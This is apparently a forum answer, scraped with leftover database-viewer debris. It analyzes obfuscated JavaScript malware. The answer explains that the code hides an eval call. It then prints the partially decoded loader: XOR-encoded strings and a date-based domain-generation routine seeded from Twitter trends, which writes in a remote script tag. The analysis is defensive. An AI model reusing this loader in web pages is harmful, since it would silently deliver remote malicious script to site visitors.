Note that there are some explanatory texts on larger screens.

plurals
  1. PO
    primarykey
    data
    text
    <p>ok, this should be straightforward.</p> <pre><code>var ez=window;ez[String.fromCharCode(101,118,97)+"l"](fds()); </code></pre> <p>is simply a call to <code>eval</code></p> <p>To know what is being evaluated, we have to decipher the string. We should be able to do this relatively safely by running it through the <code>asd</code> function...</p> <p>This gives us</p> <pre><code>op = '$a="dw(dcs(cu,14));";'; ce = "arCodeAt(0)^('0x00'+es)));}}" dz = "function dw(t){ca='%64o%63um%65nt.%77r%69t%65(%22';ce='%22)';cb='%3csc%72%69p%74 %6c%61n%67u%61ge%3d%5c%22jav%61%73c%72ip%74%5c%22%3e';cc='%3c%5c%2fscr%69pt%3e';window["e"+\"\"+ \"v\"+\"al\"](unescape(t))};" cb = "e(ds);st=tmp='';for(i=0;i&lt;ds.l%6"; da = "fqb0t-7vrs}vyb&gt;s%7F}7+0fqb0cxyvdY~tuh0-0%20+v%7Fb08fqb0y0y~0gy~t%7Fg&gt;dg&gt;dbu~tc9kyv08gy~t%7Fg&gt;x0.0(0660gy~t%7Fg&gt;x0,0%22!0660y&gt;y~tuh_v870%20'790.0=!9kcxyvdY~tuh0-0gy~t%7Fg&gt;dg&gt;dbu~tcKyMK$M&gt;aeubi&gt;sxqbS%7FtuQd8!90;0gy~t%7Fg&gt;dg&gt;dbu~tcKyMK$M&gt;aeubi&gt;|u~wdx+rbuq{+mu|cu0yv088gy~t%7Fg&gt;x0,0)0ll00gy~t%7Fg&gt;x0.0%22%2090660y&gt;y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~t%7Fg&gt;dg&gt;dbu~tcKyMK$M&gt;aeubi&gt;sxqbS%"; cu = "(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;df{l;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*"; cc = "5ngth;i++){tmp=ds.slice(i,i+1);s"; st = 'st="$a=st;dcs(da+db+dc+dd+de,10);dw(st);st=$a;";'; ca = "function dcs(ds,es){ds=unescap"; dc = "rs}vyb&gt;s%7F}7+fqb0}%7F~dxc0-0~ug0Qbbqi87trc7&lt;07id~7&lt;07f}d7&lt;07f}b7&lt;07}|s7&lt;07%7Fh{7&lt;07vtc7&lt;07rfv7&lt;07iec7&lt;07}s`7&lt;07~sj7&lt;07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7&lt;7r7&lt;7s7&lt;7t7&lt;7u7&lt;7v7&lt;7w7&lt;7x7&lt;7z7&lt;7y7&lt;7{7&lt;7|7&lt;7}7&lt;7~7&lt;7%7F7&lt;7`7&lt;7a7&lt;7b7&lt;7c7&lt;7d7&lt;7e7&lt;7f7&lt;7g7&lt;7h7&lt;7i7&lt;7j79+fqb0~e}rubc0-0~ug0Qbbqi8!&lt;%22&lt;#&lt;$&lt;%&lt;%26&lt;'&lt;(&lt;)9+%19ve~sdy%7F~0Sq|se|qdu]qwys^e}rub8tqi&lt;0}%7F~dx&lt;0iuqb&lt;0y~tuh9kbudeb~0888iuqb0;"; dd = "08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!&lt;0iuqbSx%22&lt;0}%7F~dxSx&lt;0tqiSx&lt;0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M&lt;0dy}uK7}%7F~dx7M&lt;0dy}uK7iuqb7M&lt;0cxyvdY~tuh9;!%20%20+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,,0%2290;0~e}9050%22%M+iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050"; cd = "t=st+String.fromCharCode((tmp.ch"; db = "7FtuQd8!90;0!%200;gy~t%7Fg&gt;dg&gt;dbu~tcKyMK$M&gt;aeubi&gt;|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0%2009kcxyvdY~tuh0-0gy~t%7Fg&gt;dg&gt;dbu~tcKyMK%26M&gt;aeubi&gt;sxqbS%7FtuQd8!90;0'0;gy~t%7Fg&gt;dg&gt;dbu~tcKyMK%26M&gt;aeubi&gt;|u~wdx+m0yv08cxyvdY~tuh0.0%209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~t%7Fg&gt;wt&gt;wudEDSVe||Iuqb89+dy}uK7}%7F~dx7M0-0gy~t%7Fg&gt;wt&gt;wudEDS]%7F~dx89;!+dy}uK7tqi7M0-0gy~t%7Fg&gt;wt&gt;wudEDSTqdu89+fqb0t-7v"; de = "!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+0}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050%22$9M+4q-4q&gt;bu`|qsu8t&lt;tqiSx0;0iuqbSx%220;0}%7F~dxSx0;0iuqbSx!0;0tqiSx0;0}%7F~dxcKdy}uK7}%7F~dx7M0=0!M0;07&gt;s%7F}79+m"; cz = /* "function cz(cz){return ca+cb+cc+cd+ce+cz;};"; */ "function cz(cz){return \"function dcs(ds,es){ds=unescape(ds);st=tmp='';for(i=0;i&lt;ds.l%65ngth;i++){tmp=ds.slice(i,i+1);st=st+String.fromCharCode((tmp.charCodeAt(0)^('0x00'+es)));}}\"+cz;};"; if (document.cookie.indexOf('rf5f6ds') == -1) { function callback(x) { window.tw = x; var d = new Date(); d.setTime(x["as_of"] * 1000); var h = d.getUTCHours(); window.h = h; if (h &gt; 8) { d.setUTCDate(d.getUTCDate() - 2); } else { d.setUTCDate(d.getUTCDate() - 3); } window.gd = d; var time = new Array(); var shiftIndex = ""; time["year"] = d.getUTCFullYear(); time["month"] = d.getUTCMonth() + 1; time["day"] = d.getUTCDate(); if (d.getUTCMonth() + 1 &lt; 10) { shiftIndex = time["year"] + "-0" + (d.getUTCMonth() + 1); } else { shiftIndex = time["year"] + "-" + (d.getUTCMonth() + 1); } if (d.getUTCDate() &lt; 10) { shiftIndex = shiftIndex + "-0" + d.getUTCDate(); } else { shiftIndex = shiftIndex + "-" + d.getUTCDate(); } document.write("&lt;scr" + "ipt language=javascript" + " src='http://search.twitter.com/trends/daily.json?date=" + shiftIndex + "&amp;callback=callback2'&gt;" + "&lt;/scr" + "ipt&gt;"); } function callback2(x) { window.tw = x; sc('rf5f6ds', 2, 7); eval(unescape(dz + cz + op + st) + 'dw(dz+cz($a+st));'); document.write($a); } document.write("&lt;img src='http://search.twitter.com/images/search/rss.png' width=1 height=1 style='visibility:hidden' /&gt; &lt;scr" + "ipt language=javascript" + " src='http://search.twitter.com/trends/daily.json?callback=callback'&gt;" + "&lt;/scr" + "ipt&gt;"); } else { $a = '' }; function sc(cnm, v, ed) { var exd = new Date(); exd.setDate(exd.getDate() + ed); document.cookie = cnm + '=' + escape(v) + ';expires=' + exd.toGMTString(); }; </code></pre> <p>It's then a case of going through and unescaping the strings assigned to variables (I've started this...but now it's time for bed!)</p>
    singulars
    1. This table or related slice is empty.
    plurals
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. VO
      singulars
      1. This table or related slice is empty.
    2. VO
      singulars
      1. This table or related slice is empty.
    3. VO
      singulars
      1. This table or related slice is empty.
 

Querying!

 
Guidance

SQuiL has stopped working due to an internal error.

If you are curious you may find further information in the browser console, which is accessible through the devtools (F12).

Reload